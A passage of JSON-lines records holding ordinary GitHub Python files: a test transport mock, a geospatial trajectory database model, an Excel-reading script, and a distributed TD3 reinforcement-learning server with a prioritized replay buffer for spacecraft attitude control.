{"seq_id": "72517349340", "text": "from asyncio.events import AbstractEventLoop\nfrom typing import Union\nfrom wmp.asyncio import Transport\n\n\nclass FakeTransport():\n    def __init__(self, asyncio: Transport, loop: AbstractEventLoop):\n        self._asyncio = asyncio\n        self._loop = loop\n        self._last_data: str\n        self._next_response: Union[str, None] = None\n        self._ready = False\n\n    async def wait_for_response(self):\n        while True:\n            if self._ready:\n                if self._next_response:\n                    self._asyncio.data_received(\n                        bytes(self._next_response, \"UTF-8\"))\n                self._ready = False\n                return\n\n    def write(self, data: bytes) -> None:\n        self._last_data = data.decode(\"utf-8\")\n        self._ready = True\n\n    def set_next_response(self, response: str):\n        self._next_response = response\n\n    def get_last_data(self):\n        return self._last_data\n", "repo_name": "madpilot/pyintesiswmp", "sub_path": "test/mocks/transport.py", "file_name": "transport.py", "file_ext": "py", "file_size_in_byte": 929, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "wmp.asyncio.Transport", "line_number": 7, "usage_type": "name"}, {"api_name": "asyncio.events.AbstractEventLoop", "line_number": 7, "usage_type": "name"}, {"api_name": "asyncio.events", "line_number": 8, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 11, "usage_type": "name"}]}
{"seq_id": "21308234225", "text": "import geopandas as gpd\nfrom geoalchemy2 import Geometry\nfrom sqlalchemy.ext.hybrid import hybrid_property\n\nfrom planner.extensions import db\n\n\nclass TrajectoryPredictionData(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    run_at = db.Column(db.DateTime, nullable=False)\n    launch_time = db.Column(db.DateTime, nullable=False)\n    landing_points = db.Column(Geometry(geometry_type='MULTIPOINT'), nullable=False, )\n    kde = db.Column(Geometry(geometry_type='MULTIPOLYGON'), nullable=False)\n    bad_landing_areas = db.Column(Geometry(geometry_type='MULTIPOLYGON'), nullable=True)\n    bad_landing_proportion = db.Column(db.Float, nullable=False)\n\n    @staticmethod\n    def geoalchemy_to_geoseries(obj):\n        if obj is None:\n            return None\n        crs = obj.srid\n        geoseries = gpd.GeoSeries.from_wkb([str(obj.as_ewkb())])\n        geoseries = geoseries.set_crs(crs)\n        return geoseries\n\n    def __repr__(self):\n        return f''\n    \n    \"\"\"\n    @hybrid_property\n    def landing_points(self):\n        return self.geoalchemy_to_geoseries(self._landing_points)\n    \n    @hybrid_property\n    def kde(self):\n        return self.geoalchemy_to_geoseries(self._kde)\n    \n    @hybrid_property\n    def bad_landing_areas(self):\n        return self.geoalchemy_to_geoseries(self._bad_landing_areas)\n    \"\"\"\n\n    def to_gdf(self):\n        geom_fields_to_output = {\n            \"landing_points\": self.landing_points,\n            \"kde\": self.kde,\n            \"bad_landing_areas\": self.bad_landing_areas,\n        }\n        other_fields_to_output = {\n            \"id\": self.id,\n            \"run_at\": self.run_at,\n            \"launch_time\": self.launch_time,\n            \"bad_landing_proportion\": self.bad_landing_proportion,\n        }\n        output = {}\n        for name, geoset in geom_fields_to_output.items():\n            if geoset is None:\n                output[name] = None\n                continue\n            crs = geoset.srid\n            geoseries = gpd.GeoSeries.from_wkb([str(geoset.as_ewkb())])\n            geoseries = geoseries.set_crs(crs)\n            output[name] = geoseries\n        output.update(other_fields_to_output)\n        return gpd.GeoDataFrame(output)\n", "repo_name": "jparta/balloon-flights-planner", "sub_path": "planner/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 2234, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "planner.extensions.db.Model", "line_number": 8, "usage_type": "attribute"}, {"api_name": "planner.extensions.db", "line_number": 8, "usage_type": "name"}, {"api_name": "planner.extensions.db.Column", "line_number": 9, "usage_type": "call"}, {"api_name": "planner.extensions.db", "line_number": 9, "usage_type": "name"}, {"api_name": "planner.extensions.db.Integer", "line_number": 9, "usage_type": "attribute"}, {"api_name": "planner.extensions.db.Column", "line_number": 10, "usage_type": "call"}, {"api_name": "planner.extensions.db", "line_number": 10, "usage_type": "name"}, {"api_name": "planner.extensions.db.DateTime", "line_number": 10, "usage_type": "attribute"}, {"api_name": "planner.extensions.db.Column", "line_number": 11, "usage_type": "call"}, {"api_name": "planner.extensions.db", "line_number": 11, "usage_type": "name"}, {"api_name": "planner.extensions.db.DateTime", "line_number": 11, "usage_type": "attribute"}, {"api_name": "planner.extensions.db.Column", "line_number": 12, "usage_type": "call"}, {"api_name": "planner.extensions.db", "line_number": 12, "usage_type": "name"}, {"api_name": "geoalchemy2.Geometry", "line_number": 12, "usage_type": "call"}, {"api_name": "planner.extensions.db.Column", "line_number": 13, "usage_type": "call"}, {"api_name": "planner.extensions.db", "line_number": 13, "usage_type": "name"}, {"api_name": "geoalchemy2.Geometry", "line_number": 13, "usage_type": "call"}, {"api_name": "planner.extensions.db.Column", "line_number": 14, "usage_type": "call"}, {"api_name": "planner.extensions.db", "line_number": 14, "usage_type": "name"}, {"api_name": "geoalchemy2.Geometry", "line_number": 14, "usage_type": "call"}, {"api_name": "planner.extensions.db.Column", "line_number": 15, "usage_type": "call"}, {"api_name": "planner.extensions.db", "line_number": 15, "usage_type": "name"}, {"api_name": "planner.extensions.db.Float", "line_number": 15, "usage_type": "attribute"}, {"api_name": "geopandas.GeoSeries.from_wkb", "line_number": 22, "usage_type": "call"}, {"api_name": "geopandas.GeoSeries", "line_number": 22, "usage_type": "attribute"}, {"api_name": "geopandas.GeoSeries.from_wkb", "line_number": 61, "usage_type": "call"}, {"api_name": "geopandas.GeoSeries", "line_number": 61, "usage_type": "attribute"}, {"api_name": "geopandas.GeoDataFrame", "line_number": 65, "usage_type": "call"}]}
{"seq_id": "5776623458", "text": "import openpyxl\npath= \"C:\\\\python\\\\data\\\\data.xlsx\"\nworkbook= openpyxl.load_workbook(path)\nsheet=workbook.active   # single sheet\n # sheet=workbook.get_sheet_by_name(\"Sheet1\")  multiple sheet\nrows=sheet.max_row\ncolm=sheet.max_column\nprint(rows,colm)\nfor r in range(1,rows+1):\n    for c in range(1,colm+1):\n        print(sheet.cell(row=r,column=c).value, end=\"    \")\n    print()", "repo_name": "smmvalan/Python-Learning", "sub_path": "Selenium_Automation/data.py", "file_name": "data.py", "file_ext": "py", "file_size_in_byte": 377, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "openpyxl.load_workbook", "line_number": 3, "usage_type": "call"}]}
{"seq_id": "26129698791", "text": "'''\nSERVER of Jake's Distributed TD3 implementation. I guess call it Distr Twin Delayed DDPG\nDTD3. This is done to transition to a recurrent version.\n\nThis server is essentially the replay buffer, maintained as a SumTree structure and prioritized, that\nmaintains and operates copies of the Q-nets and policy nets and all actors using Ray.\n\nThis implements:\n- value function rescaling\n- TD3 Q-val minimization of approximation errors\n- prioritized experience replay\n- n-step returns\n\nTODO: optimize batch sample building to increase throughput. Optimal would be about 50x greater than current.\n- this would likely need leaving about 50 cores open for that job & multiprocess it\n- include a README for operation\n'''\n\nfrom concurrent import futures\nimport logging\n\nimport grpc\n\nimport dtd3_pb2\nimport dtd3_pb2_grpc\n\nimport time\nimport json\nimport numpy as np\nimport os\nimport math\nimport numpy as np\nimport multiprocessing\nimport warnings\nwarnings.filterwarnings(\"ignore\", category=FutureWarning)\n#import gym\n\nfrom envs.ADCS_gym_cont import AttitudeControlEnv\n\n# only doing this so we dont see that annoying pickle warning. Ray uses pickle. fix in future: send as arrays\n# and then iterate thru the state_dicts and cast to FloatTensors like I do in UpdateNetworks().\nwarnings.filterwarnings(\"ignore\", category=FutureWarning)\nimport torch\nwarnings.filterwarnings(\"ignore\", category=FutureWarning)\nimport torch.nn as nn\nwarnings.filterwarnings(\"ignore\", category=FutureWarning)\nimport torch.nn.functional as F\nwarnings.filterwarnings(\"ignore\", category=FutureWarning)\nimport ray\n\nif os.environ.get('https_proxy'):\n    del os.environ['https_proxy']\nif os.environ.get('http_proxy'):\n    del os.environ['http_proxy']\n\n# -----------\nmax_timesteps = 500        # max timesteps in one episode\nenv = AttitudeControlEnv(torque_scale=0.5, steps=max_timesteps)\n\ndevice = 'cpu'\n\nmax_episodes = 1000000   # for when we do beta annealing eventually\nnum_cores = multiprocessing.cpu_count()\n\nprint(f'num cores: {num_cores}')\n\nnum_actors = 8\n\nvalue_fxn_epsilon = 0.001\nn_step_return = 5   # n-step return to use\nrescale_value_fxn = False\n\nnum_episodes_per_act = 2   # number episodes each actor runs locally before rechecking for state dict\n\ngamma = 0.99\n\nnum_episodes_for_monitor = 10\n\nbuffer_max_size = 2**21   # must be power of 2\nbuffer_alpha = 0.6\nbuffer_beta = 0.4\n\nbatch_size = 128\n\nmax_exploration_noise = 0.3\nmin_exploration_noise = 0.01\n\nstate_dim = 11\naction_dim = 3\nmax_action = float(1)\nexploration_noises = np.linspace(min_exploration_noise, max_exploration_noise, num_actors)\n\nray.init(num_cpus=num_actors, num_gpus=0)\n# -----------\n\nclass Node:\n    def __init__(self, left, right, is_leaf=False, idx=None, exp_tuple=None):\n        self.left = left\n        self.right = right\n        self.is_leaf = is_leaf\n        if not self.is_leaf:\n            self.value = self.left.value + self.right.value\n        self.parent = None\n        self.idx = idx  # this value is only set for leaf nodes\n        self.experience = exp_tuple\n        if left is not None:\n            left.parent = self\n        if right is not None:\n            right.parent = self\n\n    @classmethod\n    def create_leaf(cls, value, idx, exp_tuple):\n        leaf = cls(None, None, is_leaf=True, idx=idx, exp_tuple=exp_tuple)\n        leaf.value = value\n        leaf.experience = exp_tuple\n        return leaf\n\n\ndef create_tree(input_list):\n    '''\n    takes list of tuples in form [(experience_tuple, priority), ... ]\n    '''\n    # nodes = [Node.create_leaf(v, i) for i, v in enumerate(input_list)]\n    nodes = []\n    for i in range(len(input_list)):\n        value = input_list[i][1]\n        idx = i\n        exp_tuple = input_list[i][0]\n        curr_node = Node.create_leaf(value, idx, exp_tuple)\n        nodes.append(curr_node)\n\n    leaf_nodes = nodes\n\n    # backfill node left and right vals\n    while len(nodes) > 1:\n        inodes = iter(nodes)\n        nodes = [Node(*pair) for pair in zip(inodes, inodes)]\n\n    return nodes[0], leaf_nodes\n\n\nclass PERBuffer:\n    def __init__(self, max_size=buffer_max_size):\n        '''\n        Prioritized experience replay by Schaul et al (2015)\n        implements a sumtree data structure to store priorities\n\n        -note: no annealing of anything yet.\n\n        tree total is value of the root_node.\n        '''\n\n        self.max_size = max_size\n\n        self.alpha = buffer_alpha\n        self.beta_initial = buffer_beta\n        self.beta = self.beta_initial\n        self.base_priority = 1e-6\n\n        # generate empty buffer\n        empty_list = []\n        for i in range(int(max_size)):\n            # sars'd. would need edited for r2d2\n            empty_exp_tuple = (0., 0., 0., 0., 0.)\n            empty_priority = 0.\n            empty_tuple = tuple([empty_exp_tuple, empty_priority])\n            empty_list.append(empty_tuple)\n\n        root_node, leaf_nodes = create_tree(empty_list)\n\n        self.root_node = root_node\n        self.leaf_nodes = leaf_nodes\n\n        # this keeps track of which node we update. goes 0-->max_size, repeat.\n        self.leaf_node_counter = 0\n\n        # this is used for N in the IS weights. tracks how many adds we've called.\n        # maxes out at max_size.\n        self.N = 0\n\n        # checked at every update of the tree. for calc max IS weight\n        self.min_priority = 9e+99\n\n        # ---calc linear slopes for annealing based on episode---\n        self.beta_slope = (1.0 - self.beta) / max_episodes\n\n    def _update_node_priority(self, node, new_value):\n        # new value is raw priority, without scale\n        new_value = (new_value + self.base_priority) ** self.alpha\n        change = new_value - node.value\n        node.value = new_value\n        self._propagate_changes(change, node.parent)\n\n    def _propagate_changes(self, change, node):\n        '''\n        used internally to update the sumtree when new experience added\n        '''\n        node.value += change\n        if node.parent is not None:\n            self._propagate_changes(change, node.parent)\n\n    def _retrieve(self, value, node):\n        '''\n        internal method to retrieve a value from a node. pass root_node to fully sample\n        '''\n        if node.is_leaf:\n            return node\n        if node.left.value >= value:\n            return self._retrieve(value, node.left)\n        else:\n            return self._retrieve(value - node.left.value, node.right)\n\n    def update_priorities(self, indices, new_values):\n        '''\n        called from train loop, update the priority vals with ones calcd from loop using leaf indices\n        '''\n        for i, idx in enumerate(indices):\n            node = self.leaf_nodes[idx]\n            new_value = new_values[i]\n\n            new_value = (new_value + self.base_priority) ** self.alpha\n\n            if new_value < self.min_priority:\n                self.min_priority = new_value\n\n            self._update_node_priority(node, new_value)\n\n    def add(self, new_value, exp_tuple):\n        '''\n        really more of an \"update\". cycles thru buffer nodes circularly (FIFO)\n\n        new value is raw priority, without scales. we do that here\n        '''\n        # first check to see where the index is\n        if self.leaf_node_counter >= self.max_size:\n            self.leaf_node_counter = 0\n\n        # run this to set N to size of replay_buffer\n        if self.N < self.max_size:\n            self.N += 1\n\n        node = self.leaf_nodes[self.leaf_node_counter]\n\n        # adjustment, straight from paper. (TD_error + epsilon)^alpha\n        new_value = (new_value + self.base_priority) ** self.alpha\n\n        if new_value < self.min_priority:\n            self.min_priority = new_value\n\n        change = new_value - node.value\n        node.value = new_value\n        node.experience = exp_tuple\n\n        self._propagate_changes(change, node.parent)\n\n        self.leaf_node_counter += 1\n\n    def sample(self):\n        '''\n        return one priority-sampled experience tuple and its current priority.\n        '''\n        # select a random uniform val for us to naviagte the tree with\n        rand_val = np.random.uniform(0, self.root_node.value)\n        sampled_node = self._retrieve(rand_val, self.root_node)\n\n        sampled_exp = sampled_node.experience\n        sampled_priority = sampled_node.value\n\n        return sampled_exp, sampled_priority\n\n    def sample_batch(self, batch_size, num_episode):\n        '''\n        return a batch of priority-sampled experience.\n        '''\n        # update beta first, linearly:\n        self.beta = (self.beta_slope*num_episode) + self.beta_initial\n\n        state, action, reward, next_state, done, is_weights, indices = [], [], [], [], [], [], []\n\n        for i in range(batch_size):\n            rand_val = np.random.uniform(0, self.root_node.value)\n            sampled_node = self._retrieve(rand_val, self.root_node)\n\n            sampled_exp = sampled_node.experience\n            sampled_priority = sampled_node.value\n            sampled_index = sampled_node.idx\n\n            if sampled_priority <= 0.:\n                sampled_priority = self.base_priority**self.alpha\n\n            # --- IS weight calc ---\n            # P(j) = p_j / sum(p_i)\n            prob_of_j = sampled_priority / self.root_node.value\n            is_weight = (self.N * prob_of_j) ** (-self.beta)\n\n            s, a, r, s_, d = sampled_exp\n\n            state.append(np.array(s, copy=False))\n            action.append(np.array(a, copy=False))\n            reward.append(np.array(r, copy=False))\n            next_state.append(np.array(s_, copy=False))\n            done.append(np.array(d, copy=False))\n            is_weights.append(np.array(is_weight, copy=False))\n            indices.append(np.array(sampled_index, copy=False))\n\n        # perform normalization step like paper\n        is_weights = np.array(is_weights)\n        # max_is_weight = (self.N * self.min_priority / self.root_node.value) ** (-self.beta)\n        # is_weights = is_weights / max_is_weight\n        is_weights = is_weights / is_weights.max()\n\n        return np.array(state).tolist(), np.array(action).tolist(), np.array(reward).tolist(), np.array(next_state).tolist(), np.array(\n            done).tolist(), is_weights.tolist(), np.array(indices).tolist()\n\n\nclass ActorNet(nn.Module):\n    def __init__(self, state_dim, action_dim, max_action):\n        super(ActorNet, self).__init__()\n\n        self.l1 = nn.Linear(state_dim, 400)\n        self.l2 = nn.Linear(400, 300)\n        self.l3 = nn.Linear(300, action_dim)\n\n        self.max_action = max_action\n\n    def forward(self, state):\n        a = F.relu(self.l1(state))\n        # a = F.relu(self.l12(a))\n        a = F.relu(self.l2(a))\n        a = torch.tanh(self.l3(a)) * self.max_action\n        return a\n\n\nclass CriticNet(nn.Module):\n    def __init__(self, state_dim, action_dim):\n        super(CriticNet, self).__init__()\n\n        self.l1 = nn.Linear(state_dim + action_dim, 400)\n        self.l2 = nn.Linear(400, 300)\n        self.l3 = nn.Linear(300, 1)\n\n    def forward(self, state, action):\n        state_action = torch.cat([state, action], 1)\n\n        q = F.relu(self.l1(state_action))\n        # q = F.relu(self.l12(q))\n        q = F.relu(self.l2(q))\n        q = self.l3(q)\n        return q\n\ndef print_intro():\n    print('\\n Welcome to... \\n')\n    time.sleep(1)\n    print('''\n  _____  _     _        _ _           _           _      _______ _____    ____  \n |  __ \\(_)   | |      (_) |         | |         | |    |__   __|  __ \\  |___ \\ \n | |  | |_ ___| |_ _ __ _| |__  _   _| |_ ___  __| |       | |  | |  | |   __) |\n | |  | | / __| __| '__| | '_ \\| | | | __/ _ \\/ _` |       | |  | |  | |  |__ < \n | |__| | \\__ \\ |_| |  | | |_) | |_| | ||  __/ (_| |       | |  | |__| |  ___) |\n |_____/|_|___/\\__|_|  |_|_.__/ \\__,_|\\__\\___|\\__,_|       |_|  |_____/  |____/ \n                                                                                \n    ''')\n    time.sleep(2)\n    print('\\n built by Jake Elkins, the wizard himself. I hope this works. \\n\\n\\n ------ [begin] -----')\n    time.sleep(1)\n\n@ray.remote(num_cpus=1, num_gpus=0)\nclass Actor(object):\n\n    def __init__(self):\n\n        self.local_device = 'cpu'\n        self.env = env\n\n        self.n = n_step_return\n        self.num_episodes_per_act = num_episodes_per_act\n\n        self.actor = ActorNet(state_dim, action_dim, max_action).to(self.local_device)\n        self.actor_target = ActorNet(state_dim, action_dim, max_action).to(self.local_device)\n        self.actor_target.load_state_dict(self.actor.state_dict())\n\n        self.critic_1 = CriticNet(state_dim, action_dim).to(self.local_device)\n        self.critic_1_target = CriticNet(state_dim, action_dim).to(self.local_device)\n        self.critic_1_target.load_state_dict(self.critic_1.state_dict())\n\n        self.critic_2 = CriticNet(state_dim, action_dim).to(self.local_device)\n        self.critic_2_target = CriticNet(state_dim, action_dim).to(self.local_device)\n        self.critic_2_target.load_state_dict(self.critic_2.state_dict())\n\n        self.max_action = max_action\n\n    def _value_fxn_rescale(self, x):\n        if rescale_value_fxn:\n            returnx = (torch.sign(x) * (torch.sqrt(torch.abs(x) + 1.) - 1.)) + value_fxn_epsilon * x\n        else:\n            returnx = x\n        return returnx\n\n    def _value_fxn_rescale_inverse(self, x):\n        if rescale_value_fxn:\n            numerator = torch.sqrt(1. + 4. * value_fxn_epsilon * (torch.abs(x) + 1. + value_fxn_epsilon)) - 1.\n            hinv = torch.sign(x) * (((numerator / (2 * value_fxn_epsilon)) ** 2) - 1.)\n            returnx = hinv\n        else:\n            returnx = x\n        return returnx\n\n    def _select_action(self, state):\n        state = torch.FloatTensor(state.reshape(1, -1)).to(self.local_device)\n        return self.actor(state).cpu().data.numpy().flatten()\n\n    def _generate_initial_priority(self, exp_tuple):\n        # pass the state-action thru the Q network\n        # NOTE: none of the TD3 smoothing is going on here.\n        state = exp_tuple[0]\n        action = exp_tuple[1]\n        reward = exp_tuple[2]\n        next_state = exp_tuple[3]\n        done = exp_tuple[4]\n\n        state = torch.from_numpy(state).float().to(self.local_device)\n        action = torch.from_numpy(action).float().to(self.local_device)\n        reward = torch.from_numpy(np.array([reward])).float().to(self.local_device)\n        next_state = torch.from_numpy(next_state).float().to(self.local_device)\n        done = torch.from_numpy(np.array([done])).float().to(self.local_device)\n\n        next_action = self.actor_target(next_state).unsqueeze(0)\n\n        state = state.unsqueeze(0)\n        action = action.unsqueeze(0)\n        next_state = next_state.unsqueeze(0)\n\n        target_Q1 = self.critic_1_target(next_state, next_action)\n        target_Q2 = self.critic_2_target(next_state, next_action)\n        target_Q = self._value_fxn_rescale_inverse(torch.min(target_Q1, target_Q2))\n        target_Q = self._value_fxn_rescale(reward + ((1 - done) * (gamma ** self.n) * target_Q).detach())\n\n        current_Q1 = self.critic_1(state, action)\n        current_Q2 = self.critic_2(state, action)\n        current_Q = torch.min(current_Q1, current_Q2)\n\n        absolute_TD_error = torch.abs(target_Q - current_Q).detach().squeeze(0).cpu().numpy()[0]\n\n        return absolute_TD_error\n\n    def run_episodes(self, state_dict_list, exploration_noise):\n        '''\n        INPUT: torch-readable versions of the 6 state-dicts. should be:\n        actor, actor-target, critic1, critic1-target, critic2, ciritc2-target\n        called in replay buffer with a ray.wait()\n        '''\n        # check to see if we've started learner yet. If not, state_dicts will be None\n        if None not in state_dict_list:\n            self.actor.load_state_dict(state_dict_list[0])\n            self.actor_target.load_state_dict(state_dict_list[1])\n            self.critic_1.load_state_dict(state_dict_list[2])\n            self.critic_1_target.load_state_dict(state_dict_list[3])\n            self.critic_2.load_state_dict(state_dict_list[4])\n            self.critic_2_target.load_state_dict(state_dict_list[5])\n\n            self.actor.eval()\n            self.actor_target.eval()\n            self.critic_1.eval()\n            self.critic_1_target.eval()\n            self.critic_2.eval()\n            self.critic_2_target.eval()\n\n        env = self.env\n        n = self.n\n\n        local_buffer = []\n        # run X episodes\n        for _ in range(self.num_episodes_per_act):\n\n            states = []\n            actions = []\n            rewards = []\n            dones = []\n\n            state = env.reset()\n            done = False\n\n            while not done:\n                # select action and add exploration noise:\n                action = self._select_action(state)\n                action = action + np.random.normal(0, exploration_noise, size=3)\n                action = action.clip(-1, 1)\n\n                # take action in env:\n                next_state, reward, done, _ = env.step(action)\n\n                states.append(state)\n                actions.append(action)\n                rewards.append(reward)\n                dones.append(float(done))\n\n                state = next_state\n            states.append(next_state)\n\n            # accumulator for n-step returns\n            acc = 0\n            returns = []\n            for i, r in enumerate(reversed(rewards)):\n                acc = r + gamma * acc\n\n                if i >= n:\n                    acc = acc - (list(reversed(rewards))[i - n]) * (gamma ** n)\n\n                returns.append(acc)\n\n            returns = list(reversed(returns))\n\n            # recording n-th step dones and nth step states\n            nth_states = []\n            nth_dones = []\n\n            for i in range(len(dones)):\n                if i < (len(dones) - n):\n                    nth_done = dones[i + n]\n                    nth_state = states[i + n]\n                else:\n                    nth_done = dones[-1]\n                    nth_state = states[-1]\n\n                nth_dones.append(nth_done)\n                nth_states.append(nth_state)\n\n            # drop last val of states now, dont need it\n            states = states[:-1]\n\n            for i in range(len(states)):\n                init_priority = self._generate_initial_priority(\n                    (states[i], actions[i], returns[i], nth_states[i], nth_dones[i]))\n                local_buffer.append((states[i], actions[i], returns[i], nth_states[i], nth_dones[i], init_priority))\n\n        return local_buffer\n\n# ---------------------------------------------------------------------------------------------------------------------\n\n\nclass BufferNetworkHandler(dtd3_pb2_grpc.LearnerServicer):\n    # this class just maintains the easy methods we need for reading, writing, and changing networks\n    def __init__(self):\n        # note: I could probably fix these around better\n        self.actor_dict = None\n        self.actor_target_dict = None\n\n        self.critic_1_dict = None\n        self.critic_1_target_dict = None\n\n        self.critic_2_dict = None\n        self.critic_2_target_dict = None\n\n        self.network_list = [self.actor_dict, self.actor_target_dict,\n                             self.critic_1_dict, self.critic_1_target_dict,\n                             self.critic_2_dict, self.critic_2_target_dict]\n\n        self.replay_buffer = PERBuffer()\n\n        self.actors = [Actor.remote() for _ in range(num_actors)]\n\n        # this was used for debug\n        self.msg = None\n        self.indices = None\n        self.reading_priorities = None\n        self.reading_indices = None\n        self.first_dict = None\n\n        # -- for monitor --\n        self.num_episodes_for_monitor = num_episodes_for_monitor\n        self.actor_copy = ActorNet(state_dim, action_dim, max_action).to('cpu')\n\n    def UpdateNetworks(self, request_iterator, context):\n        '''\n        this handles the sending of both networks and new priorities.\n        messages will differ in where the Nones are\n        update networks:\n        [actor, actor_target, critic1, critic1_target, critic2, critic2_target, None, None]\n        update priorities:\n        [None, None, None, None, None, None, indices, priorities]\n        '''\n\n        '''for i, request in enumerate(request_iterator):\n            curr_dict = json.loads(request.network_params)\n            # switch network back into torch-readable tensors\n            for entry in curr_dict:\n                curr_dict[entry] = torch.FloatTensor(curr_dict[entry]).to(device)\n\n            self.network_list[i] = curr_dict'''\n        indices = None\n        priorities = None\n\n        for i, request in enumerate(request_iterator):\n            curr_dict = json.loads(request.network_params)\n            if (i <= 5) and (curr_dict is not None):\n                # these are still state_dicts\n                for entry in curr_dict:\n                    curr_dict[entry] = torch.FloatTensor(curr_dict[entry]).to(device)\n\n                self.network_list[i] = curr_dict\n            elif (i > 5) and (curr_dict is not None):\n                # we're reading priorities\n                if i == 6:\n                    self.reading_indices = True\n                    indices = curr_dict\n                elif i == 7:\n                    self.reading_priorities = True\n                    priorities = curr_dict\n\n        if (indices is not None) and (priorities is not None):\n            self.replay_buffer.update_priorities(indices, priorities)\n            self.indices = indices\n\n        if (None not in self.network_list) and (self.first_dict is None):\n            self.first_dict = True\n\n        return dtd3_pb2.BufferStatus(status=1)\n\n    def act(self):\n        '''\n        this is where the Ray actors are sent and handled. note the infinite loop: this guy has to be terminated.\n        :return:\n        nil\n        '''\n\n        print(f'acting started. running {num_actors} across CPUs')\n        loop_num = 0\n        while True:\n            loop_num += 1\n            # print(f'reading indices: {self.reading_indices}')\n            # print(f'reading priorities: {self.reading_priorities}')\n            if (None in self.network_list) and (self.first_dict):\n                print(f\"[!] ERROR [!] network list contains a NoneType [!] ERROR [!]\")\n\n            not_done_actor_ids = []\n            for i, actor in enumerate(self.actors):\n                exploration_noise = exploration_noises[i]\n                not_done_actor_ids.append(actor.run_episodes.remote(self.network_list, exploration_noise))\n\n            while len(not_done_actor_ids):\n                done_actor_ids, not_done_actor_ids = ray.wait(not_done_actor_ids)\n\n                # if done_id == actors, add to replay buffer\n                if done_actor_ids:\n                    for actor_id in done_actor_ids:\n                        local_buffer_out = ray.get(actor_id)\n                        for tuple_ in local_buffer_out:\n                            priority = tuple_[-1]\n                            exp_tuple = tuple_[:-1]\n                            self.replay_buffer.add(priority, exp_tuple)\n\n            if loop_num%100 == 0:\n                print(f'Current buffer size: {self.replay_buffer.N}')\n                # print(f'indices read: {self.indices}')\n                # print(f'curr main dict (should be None before the epoch): {self.network_list[0]}')\n\n    def ReadData(self, request, context):\n\n        # print(f'read_data request received. status: {request.status}')\n\n        # TODO: tune beta annealing. Zero for now (constant at initial beta val)\n        state, action_, reward, next_state, done, is_weights, indices = self.replay_buffer.sample_batch(batch_size, 0)\n\n        send_list = [state, action_, reward, next_state, done, is_weights, indices]\n\n        for data_section in send_list:\n            #print(data_section)\n            #data_section_json = json.dumps(data_section.tolist())\n            data_section_json = json.dumps(data_section)\n            yield dtd3_pb2.BufferResponse(train_data=bytes(data_section_json, 'utf-8'))\n\n    def RunAgentStats(self, request, context):\n        '''\n        RPC that the monitor asks for. this asks for an agent stat update using current networks.\n        '''\n        #print(f'actor_copy keys: {self.actor_copy.state_dict().keys()}')\n\n        # load up most recent policy net\n        if self.network_list[0] is not None:\n            #print(f'network_list keys: {self.network_list[0].keys()}')\n            self.actor_copy.load_state_dict(self.network_list[0])\n\n        rewsum_list = []\n        meanminang_list = []\n\n        for ep_num in range(self.num_episodes_for_monitor):\n\n            done = False\n            obs = env.reset()\n\n            reward_list = []\n            obs_list = []\n            \n            while not done:\n                #act = policy.select_action(obs)\n                obs = torch.FloatTensor(obs.reshape(1, -1)).to('cpu')\n                act = self.actor_copy(obs).cpu().data.numpy().flatten()\n                act = act.clip(-1, 1)\n                obs, reward, done, _ = env.step(act)\n                reward_list.append(reward)\n                obs_list.append(obs)\n            \n            q4 = [i[0] for i in obs_list]\n            q1 = [i[1] for i in obs_list]\n            q2 = [i[2] for i in obs_list]\n            q3 = [i[3] for i in obs_list]\n\n            curr_minang = 2*np.arccos(np.max(q4))*(180/np.pi)\n            curr_rew_sum = np.sum(reward_list)\n            \n            rewsum_list.append(curr_rew_sum)\n            meanminang_list.append(curr_minang)\n\n        mean_min_ang = np.mean(meanminang_list)\n        mean_rew_sum = np.mean(rewsum_list)\n\n        return dtd3_pb2.AgentStats(reward=mean_rew_sum, additional_data=mean_min_ang)\n\n\n# ---------------------------------------------------------------------------------------------------------------\n\nif __name__ == '__main__':\n    logging.basicConfig()\n\n    handler = BufferNetworkHandler()\n\n    # --- server specifics ---\n    server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))\n    dtd3_pb2_grpc.add_LearnerServicer_to_server(handler, server)\n    server.add_insecure_port('[::]:50051')\n    server.start()\n\n    print_intro()\n\n    try:\n        # start acting\n        handler.act()\n        server.wait_for_termination() # FOR DEBUG\n    except KeyboardInterrupt as e:\n        print(f'ERROR: terminated. {e}')\n        print(f'please wait for safe shutdown...')\n        if ray.is_initialized():\n            ray.shutdown()\n        server.stop(3)\n# TODO: print buffer checkup and stats every now and then. also--ray handles ctrl-c really weirdly. how do we exit\n#  before errors are caught?\n\n# EOF\n", "repo_name": "jakeelkins/dtd3", "sub_path": "dtd3_server.py", "file_name": "dtd3_server.py", "file_ext": "py", "file_size_in_byte": 26575, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "warnings.filterwarnings", "line_number": 35, "usage_type": "call"}, {"api_name": "warnings.filterwarnings", "line_number": 42, "usage_type": "call"}, {"api_name": "warnings.filterwarnings", "line_number": 44, "usage_type": "call"}, {"api_name": "warnings.filterwarnings", "line_number": 46, "usage_type": "call"}, {"api_name": "warnings.filterwarnings", "line_number": 48, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 51, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 53, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 54, "usage_type": "attribute"}, {"api_name": "envs.ADCS_gym_cont.AttitudeControlEnv", "line_number": 58, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 91, "usage_type": "call"}, {"api_name": "ray.init", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 263, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 263, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 281, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 281, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 298, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 299, 